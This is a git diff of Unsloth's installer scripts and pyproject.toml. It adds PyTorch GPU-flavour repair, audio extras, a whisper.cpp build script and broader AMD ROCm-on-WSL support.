"overlaying unsloth-zoo from git main..." - run_install_cmd "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \ + run_install_cmd_retry "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \ --no-deps --reinstall-package unsloth-zoo \ "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" else - run_install_cmd "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" --torch-backend=auto -- "$PACKAGE_NAME" + run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" --torch-backend=auto -- "$PACKAGE_NAME" + fi +fi + +_installed_package_version=$("$_VENV_PY" -c \ + 'from importlib.metadata import version; import sys; print(version(sys.argv[1]))' \ + "$PACKAGE_NAME" 2>/dev/null || true) +if [ -n "$_installed_package_version" ]; then + step "$PACKAGE_NAME" "$_installed_package_version installed" +else + substep "[WARN] installed $PACKAGE_NAME version could not be determined" "$C_WARN" +fi + +# ── Enforce the installed torch flavor matches the detected GPU build ── +# PEP 440 ignores the +cpu/+cuXXX/+rocm local label in a version range, so uv +# keeps a stale torch==X+cpu against a GPU index and the venv silently trains on +# CPU. Reinstall the right wheel triplet when a GPU build is expected; if it +# can't be reinstalled, warn loudly. --no-torch / CPU-only / macOS: no-op. +if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then + _expected_torch_tag=$(_expected_torch_flavor_tag "$TORCH_INDEX_URL") + # Only act when a GPU build is expected (cuXXX / rocm); cpu and unknown skip. + if [ -n "$_expected_torch_tag" ] && [ "$_expected_torch_tag" != "cpu" ]; then + _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true) + _installed_torch_tag="" + [ -n "$_installed_torch_ver" ] && _installed_torch_tag=$(_torch_flavor_tag "$_installed_torch_ver") + # Repair when flavor is wrong AND the index is plain --default-index reinstallable + # (cuXXX / rocmX.Y / repo.amd.com gfx*); an unknown mirror leaf -> warn only. + if [ -n "$_installed_torch_tag" ] && [ "$_installed_torch_tag" != "$_expected_torch_tag" ] \ + && [ "$(_torch_index_repairable "$TORCH_INDEX_URL")" = "yes" ]; then + substep "PyTorch flavor mismatch (installed $_installed_torch_tag, need $_expected_torch_tag) -- reinstalling correct build..." + _install_torch_default_index \ + --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio + _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true) + _installed_torch_tag="" + [ -n "$_installed_torch_ver" ] && _installed_torch_tag=$(_torch_flavor_tag "$_installed_torch_ver") + fi + # Safety net (incl. AMD/WSL): GPU build expected but still CPU -> warn loudly. + if [ "$_installed_torch_tag" = "cpu" ]; then + substep "[WARN] PyTorch is CPU-only but a $_expected_torch_tag GPU build was expected for this machine." "$C_WARN" + substep "[WARN] Training and GPU inference will run on CPU until this is fixed." "$C_WARN" + substep "[WARN] Re-run this installer, or reinstall the GPU build manually:" "$C_WARN" + substep "[WARN] uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" \"$TORCHVISION_CONSTRAINT\" \"$TORCHAUDIO_CONSTRAINT\" --default-index $(_strip_index_url_credentials "$TORCH_INDEX_URL") --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN" + fi fi fi # ── Run studio setup ── -tauri_log "STEP" "Running Studio setup" +tauri_log "STEP" "Running Unsloth setup" # When --local, use the repo's own setup.sh directly. # Otherwise, find it inside the installed package. SETUP_SH="" @@ -2735,6 +4219,7 @@ if [ -n "$VENV_ABS_BIN" ]; then fi if ! command -v bash >/dev/null 2>&1; then + tauri_log "ERROR" "bash is required to run studio setup" step "setup" "bash is required to run studio setup" "$C_ERR" substep "Please install bash and re-run install.sh" exit 1 @@ -2757,6 +4242,13 @@ _run_setup_with_studio_home() { "$@" fi } +if [ -n "$_WITH_LLAMA_CPP_DIR" ]; then + if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then + echo "[ERROR] --with-llama-cpp-dir path does not exist: $_WITH_LLAMA_CPP_DIR" >&2 + exit 1 + fi + _WITH_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_WITH_LLAMA_CPP_DIR" && pwd -P)" +fi if [ "$STUDIO_LOCAL_INSTALL" = true ]; then _run_setup_with_studio_home env \ SKIP_STUDIO_BASE="$_SKIP_BASE" \ @@ -2765,6 +4257,8 @@ if [ "$STUDIO_LOCAL_INSTALL" = true ]; then STUDIO_LOCAL_INSTALL=1 \ STUDIO_LOCAL_REPO="$_REPO_ROOT" \ UNSLOTH_NO_TORCH="$SKIP_TORCH" \ + UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \ + UNSLOTH_TAURI_MODE="$TAURI_MODE" \ bash "$SETUP_SH" =0.12.0", "rich", "pydantic", "pyyaml", "nest-asyncio", + # Every CLI command imports studio.backend.*, which reaches structlog at + # module level. The rest of the server stack lives in the studio extra. + "structlog>=24.1.0", + # unsloth_cli/__init__.py reaches click via commands/start.py, so every + # command needs it. typer supplied it until 0.27 dropped the dependency. + "click>=8.0", ] [project.scripts] @@ -41,11 +47,18 @@ version = {attr = "unsloth.models._utils.__version__"} [tool.setuptools] include-package-data = true +[tool.setuptools.cmdclass] +# Snapshots CHANGELOG.md into studio/ so every build path ships it. +build_py = "_changelog_build.build_py" + [tool.setuptools.package-data] +unsloth_cli = ["codex_fallback_prompt.md", "pi_subagent.ts"] studio = [ + "CHANGELOG.md", "*.sh", "*.ps1", "*.bat", + "node_prebuilt_pins.json", "frontend/dist/**/*", "frontend/*.json", "frontend/*.ts", @@ -56,6 +69,7 @@ studio = [ "backend/requirements/**/*", "backend/plugins/**/*", "backend/assets/**/*.jinja", + "backend/assets/**/*.html", "backend/core/data_recipe/oxc-validator/*.json", "backend/core/data_recipe/oxc-validator/*.mjs", ] @@ -65,13 +79,40 @@ include = ["unsloth*", "unsloth_cli*", "studio", "studio.backend*"] exclude = ["images*", "tests*", "*.node_modules", "*.node_modules.*"] [project.optional-dependencies] +# Studio's server stack, mirroring studio/backend/requirements/studio.txt. +# test_studio_extra_matches_requirements.py catches drift. +studio = [ + "typer", + "fastapi", + "uvicorn", + "pydantic", + "packaging", + "matplotlib==3.10.9", + "pandas", + "nest_asyncio", + "datasets==4.3.0", + "pyjwt", + "huggingface-hub==0.36.2", + "structlog>=24.1.0", + "diceware", + "ddgs", + "cryptography>=42.0.0", + "boto3>=1.34.0", + "httpx>=0.27.0", + "fastmcp>=3.0.2", + "sqlite-vec==0.1.9", + "pymupdf==1.27.2.3", + "pymupdf4llm==0.3.4", + "python-docx==1.2.0", +] + triton = [ "triton>=3.0.0 ; ('linux' in sys_platform)", "triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] huggingfacenotorch = [ - "unsloth_zoo>=2026.6.5", + "unsloth_zoo>=2026.7.6", "wheel>=0.42.0", "packaging", "numpy", @@ -90,9 +131,25 @@ huggingfacenotorch = [ "trl>=0.18.2,!=0.19.0,<=0.24.0", "sentence-transformers", ] +# torchcodec backend for Gemma audio / datasets>=4 (#7225). +# Pick the audio-torch* pin matching your torch minor (see TORCH_TORCHCODEC). +# torchcodec publishes no sdist and only manylinux_2_28_x86_64, macosx_*_arm64 +# and win_amd64 wheels, so Linux aarch64, Windows ARM64 and Intel Mac have +# nothing to resolve and pip fails the whole install rather than skipping audio. +# Gate on the platforms that have a wheel, matching +# PLATFORM_LACKS_TORCHCODEC_WHEEL in studio/install_python_stack.py. +audio-torch210 = [ + "torchcodec>=0.10.0,<0.11.0 ; python_version >= '3.10' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'darwin' and platform_machine == 'arm64'))", +] +audio-torch290 = [ + "torchcodec>=0.8.0,<0.10.0 ; python_version >= '3.10' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'darwin' and platform_machine == 'arm64'))", +] +audio-torch280 = [ + "torchcodec>=0.6.0,<0.8.0 ; python_version >= '3.9' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'darwin' and platform_machine == 'arm64'))", +] huggingface = [ "unsloth[huggingfacenotorch]", - "unsloth_zoo>=2026.6.5", + "unsloth_zoo>=2026.7.6", "torchvision", "unsloth[triton]", ] @@ -253,10 +310,6 @@ cu118onlytorch270 = [ "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)", "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')", ] cu126onlytorch270 = [ "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", @@ -280,7 +333,6 @@ cu128onlytorch270 = [ ] cu118onlytorch271 = [ "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", ] cu126onlytorch271 = [ "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", @@ -534,16 +586,19 @@ cu126-torch2100 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu126onlytorch2100]", + "unsloth[audio-torch210]", ] cu128-torch2100 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu128onlytorch2100]", + "unsloth[audio-torch210]", ] cu130-torch2100 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu130onlytorch2100]", + "unsloth[audio-torch210]", ] kaggle = [ "unsloth[huggingface]", @@ -582,7 +637,7 @@ colab-ampere-torch220 = [ "flash-attn>=2.6.3 ; ('linux' in sys_platform)", ] colab-new = [ - "unsloth_zoo>=2026.6.5", + "unsloth_zoo>=2026.7.6", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", @@ -833,16 +888,19 @@ cu126-ampere-torch2100 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu126onlytorch2100]", + "unsloth[audio-torch210]", ] cu128-ampere-torch2100 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu128onlytorch2100]", + "unsloth[audio-torch210]", ] cu130-ampere-torch2100 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu130onlytorch2100]", + "unsloth[audio-torch210]", ] flashattentiontorch260abiFALSEcu12x = [ "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.6cxx11abiFALSE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'", @@ -877,14 +935,12 @@ flashattentiontorch240abiFALSEcu12x = [ "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'", ] flashattentiontorch240abiTRUEcu12x = [ "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'", ] intelgputorch260 = [ "unsloth_zoo[intelgpu]", @@ -1129,7 +1185,8 @@ intelgputorch210 = [ "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.25.0%2Bxpu-cp313-cp313-win_amd64.whl#sha256=1c4b44b36a557f7381e3076fb8843366742238648441d607c8d049c6da0f8886 ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] intel-gpu-torch210 = [ - "unsloth[intelgputorch210]" + "unsloth[intelgputorch210]", + "unsloth[audio-torch210]", ] intelgputorch2110 = [ "unsloth_zoo[intelgpu]", @@ -1172,14 +1229,14 @@ intelgputorch2120 = [ "unsloth_zoo[intelgpu]", "unsloth[huggingfacenotorch]", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=844d981cb1b3948085e8cfa62c74de9f100259f6131959aa70be49123b88ae81 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=a16b1d00e94ad87d62af3512e390348b8656419598004100c56028bf494f086b ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=4e46e71e077cf483404a4c17ce40d71c5f0e13a81459139d4346ca427b1dd455 ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=4fdaed1bafc51d3a2834656a3420a6686a74ea226508765a49bf15d58ff3a930 ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-win_amd64.whl#sha256=2778b46b22e9fa0916398db299a125027a1b2331c1173b3dd2b9e2cab6263a31 ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-win_amd64.whl#sha256=ad5b147d04ee0d40f3d4d32f85f5aa3a3beb6cd5799ca026d3d7f4afa3d9e24f ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-win_amd64.whl#sha256=d9482063af2a308543f23333e32edd738ea87cbb33ade68afda9ae0fd704ccd9 ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-win_amd64.whl#sha256=5d4d67f0deb1e851c01b293e602b8dcddad26ca2be61221cee3dc0e1aa0cdefd ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=81ff0eb0c4fc8e19d2510b28c3e1d9382a3c7d6fdaf6a9f9631a93a030d841cf ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=55574a68d275b85cd4d5cbf185084bae019ebf09c3f43b0bd2831b14935ec8e7 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=a31c058c5c2e78ebe490a2e69f2f50caec6b1307ac096e944f116fdc06819d9a ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=e701a31efa0334775f357c98716f3821775aa944219f7888e13c2dfe2daabe2a ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-win_amd64.whl#sha256=0d7730651c3e52fbf3a430cc201455f0c6600dc72e681aec495f131ea44f341a ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-win_amd64.whl#sha256=8f4a63de73e3d632098f93c8f0bd77244958a47d7c5f728b8ff35f8a91fdb983 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-win_amd64.whl#sha256=6589ece3adc2b1ab88d90ff1267afc25df5c7b868f0b633e732cac70df36cbde ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-win_amd64.whl#sha256=2fdf001a9b0575e8b1827127259bb9b13bf36e659882be74c2dfab46597d3e7a ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", "torch @ https://download.pytorch.org/whl/xpu/torch-2.12.0%2Bxpu-cp310-cp310-linux_x86_64.whl#sha256=e8923cd1fe560472904b1461b745d2f1826bb9c1bc0808225d5f28a450e4d553 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", "torch @ https://download.pytorch.org/whl/xpu/torch-2.12.0%2Bxpu-cp311-cp311-linux_x86_64.whl#sha256=f7c082b2fc9b61def594d30ea57762dc4a8bc7111a9a9593953ed948de242e28 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", @@ -1210,8 +1267,11 @@ intel = [ ] amd = [ "unsloth[huggingfacenotorch]", - "bitsandbytes>=0.49.1 ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64' or platform_machine == 'aarch64')", - "bitsandbytes>=0.49.1 ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + # 4-bit decode is unreliable on ROCm before 0.50.0, the first PyPI release + # carrying the full path: blocksize/warp decoupling (bnb #1887), fused SIMT + # GEMM on RDNA (#1979), RDNA3/4 workgroup fix (#2012). + "bitsandbytes>=0.50.0 ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64' or platform_machine == 'aarch64')", + "bitsandbytes>=0.50.0 ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] rocm702-torch280 = [ "unsloth[amd]", @@ -1283,6 +1343,7 @@ rocm72-torch2100 = [ "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.25.0%2Brocm7.2.0.git82df5f59-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.25.0%2Brocm7.2.0.git82df5f59-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.25.0%2Brocm7.2.0.git82df5f59-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", + "unsloth[audio-torch210]", ] rocm711-torch2100 = [ "unsloth[amd]", @@ -1301,6 +1362,7 @@ rocm711-torch2100 = [ "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.25.0%2Brocm7.1.1.git82df5f59-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.25.0%2Brocm7.1.1.git82df5f59-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.25.0%2Brocm7.1.1.git82df5f59-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", + "unsloth[audio-torch210]", ] [project.urls] diff --git a/scripts/build_whisper_cpp.sh b/scripts/build_whisper_cpp.sh new file mode 100755 index 0000000000..9f7e4d4ef3 --- /dev/null +++ b/scripts/build_whisper_cpp.sh @@ -0,0 +1,71 @@ +#!/bin/sh +# Build whisper.cpp's whisper-server for Studio's GGUF dictation engine. +# +# Installs into the managed Studio home so the backend's binary discovery +# (core/inference/stt_ggml_sidecar.py::find_whisper_server_binary) picks it up: +# /whisper.cpp/build/bin/whisper-server (custom home) +# ~/.unsloth/whisper.cpp/build/bin/whisper-server (default) +# +# Usage: +# ./scripts/build_whisper_cpp.sh # build the pinned tag +# WHISPER_CPP_TAG=v1.9.0 ./scripts/build_whisper_cpp.sh +# +# Requires: git, cmake, a C/C++ toolchain (the same prerequisites as a +# llama.cpp source build). GPU backends are auto-detected by whisper.cpp's +# CMake (Metal on macOS; set GGML_CUDA=1 to force a CUDA build on Linux). + +set -eu + +WHISPER_CPP_SOURCE="${WHISPER_CPP_SOURCE:-https://github.com/ggml-org/whisper.cpp}" +WHISPER_CPP_TAG="${WHISPER_CPP_TAG:-v1.9.1}" + +STUDIO_HOME="${UNSLOTH_STUDIO_HOME:-${STUDIO_HOME:-}}" +CUSTOM_STUDIO_HOME=false +if [ -n "$STUDIO_HOME" ]; then + CUSTOM_STUDIO_HOME=true + INSTALL_DIR="$STUDIO_HOME/whisper.cpp" +else + INSTALL_DIR="$HOME/.unsloth/whisper.cpp" +fi + +command -v git >/dev/null 2>&1 || { echo "ERROR: git is required" >&2; exit 1; } +command -v cmake >/dev/null 2>&1 || { echo "ERROR: cmake is required" >&2; exit 1; } + +# Same policy as studio/setup.sh's _assert_studio_owned_or_absent: never delete +# a directory under a custom Studio home unless Studio itself created it (the +# marker file below). Protects a user-managed whisper.cpp/src from rm -rf. +STUDIO_OWNED_MARKER=".unsloth-studio-owned" +if [ "$CUSTOM_STUDIO_HOME" = true ] && [ -e "$INSTALL_DIR" ] && \ + [ ! -f "$INSTALL_DIR/$STUDIO_OWNED_MARKER" ]; then + echo "ERROR: $INSTALL_DIR already exists and is not marked as an Unsloth-owned whisper.cpp build tree." >&2 + echo " Move it aside or choose an empty UNSLOTH_STUDIO_HOME before re-running." >&2 + exit 1 +fi + +echo "==> Building whisper.cpp ($WHISPER_CPP_TAG) into $INSTALL_DIR" +mkdir -p "$INSTALL_DIR" +: > "$INSTALL_DIR/$STUDIO_OWNED_MARKER" + +if [ ! -d "$INSTALL_DIR/src/.git" ]; then + rm -rf "$INSTALL_DIR/src" + git clone --depth 1 --branch "$WHISPER_CPP_TAG" "$WHISPER_CPP_SOURCE" "$INSTALL_DIR/src" +else + git -C "$INSTALL_DIR/src" fetch --depth 1 origin "$WHISPER_CPP_TAG" + git -C "$INSTALL_DIR/src" checkout FETCH_HEAD +fi + +CMAKE_FLAGS="-DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=OFF" +if [ "${GGML_CUDA:-0}" = "1" ]; then + CMAKE_FLAGS="$CMAKE_FLAGS -DGGML_CUDA=ON" +fi + +# shellcheck disable=SC2086 +cmake -S "$INSTALL_DIR/src" -B "$INSTALL_DIR/src/build" $CMAKE_FLAGS +NCPU="$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)" +cmake --build "$INSTALL_DIR/src/build" --config Release --target whisper-server -j"$NCPU" + +mkdir -p "$INSTALL_DIR/build/bin" +cp "$INSTALL_DIR/src/build/bin/whisper-server" "$INSTALL_DIR/build/bin/whisper-server" + +echo "==> Installed $INSTALL_DIR/build/bin/whisper-server" +"$INSTALL_DIR/build/bin/whisper-server" --help >/dev/null 2>&1 && echo "==> Binary runs OK" diff --git a/scripts/install_rocm_wsl_strixhalo.sh b/scripts/install_rocm_wsl_strixhalo.sh index 5ef9ee386a..697aae933f 100644 --- a/scripts/install_rocm_wsl_strixhalo.sh +++ b/scripts/install_rocm_wsl_strixhalo.sh @@ -3,13 +3,14 @@ # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. # # ────────────────────────────────────────────────────────────────────────────── -# Enable ROCm-on-WSL for AMD Strix Halo (Radeon 8060S / gfx1151) +# Enable ROCm-on-WSL for AMD GPUs (Strix Halo/Point APUs AND discrete Radeon RX +# 7000/9000). Verified on gfx1151 (Radeon 8060S) and gfx1200 (Radeon RX 9060 XT). # ────────────────────────────────────────────────────────────────────────────── -# install.sh already routes gfx1151 to the right ROCm wheels once a ROCm runtime -# is present; what it does NOT do is install AMD's ROCm userspace + the WSL DXG -# bridge. This helper automates that Linux-side prerequisite on Ubuntu 24.04 -# WSL2 and is invoked by install.sh when it sees a Strix Halo APU in WSL (via -# /dev/dxg) but no ROCm runtime yet. Fully idempotent (re-run just re-verifies). +# install.sh routes the detected arch to the right ROCm wheels once a runtime exists; +# what it does NOT do is install AMD's ROCm userspace + the WSL DXG bridge (librocdxg). +# This helper does that Linux-side prerequisite on Ubuntu 24.04 WSL2, invoked by +# install.sh when it sees an AMD GPU via /dev/dxg but no ROCm yet. Arch-agnostic: the +# arch is auto-detected from rocminfo (override UNSLOTH_WSL_GFX=gfx1200). Idempotent. # # Manual, admin-gated Windows prerequisite: an AMD Adrenalin driver with # production ROCDXG/WSL support (26.2.2+). install.ps1 offers to update it. Once @@ -34,10 +35,12 @@ set -euo pipefail # ── Tunables (override via env) ────────────────────────────────────────────── ROCM_VER="${UNSLOTH_WSL_ROCM_VER:-7.2.1}" # ROCm release to install -GFX="gfx1151" +# GPU arch: empty = auto-detect from rocminfo after install (override UNSLOTH_WSL_GFX=gfx1200). +# The ROCm + librocdxg setup is arch-agnostic; only verify + the smoke test need the arch. +GFX="${UNSLOTH_WSL_GFX:-}" LIBROCDXG_REF="${UNSLOTH_LIBROCDXG_REF:-develop}" # ROCm/librocdxg git ref to build -# AMD's gfx1151 wheel index (same one install.sh uses); only for the smoke test. -TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${GFX}/" +# AMD's wheel index for the (optional) smoke test; resolved after arch detection. +TORCH_INDEX="" # Optional torch smoke test (throwaway venv). OFF by default: install.sh installs # torch itself into the real venv right after, so a duplicate download is wasteful. 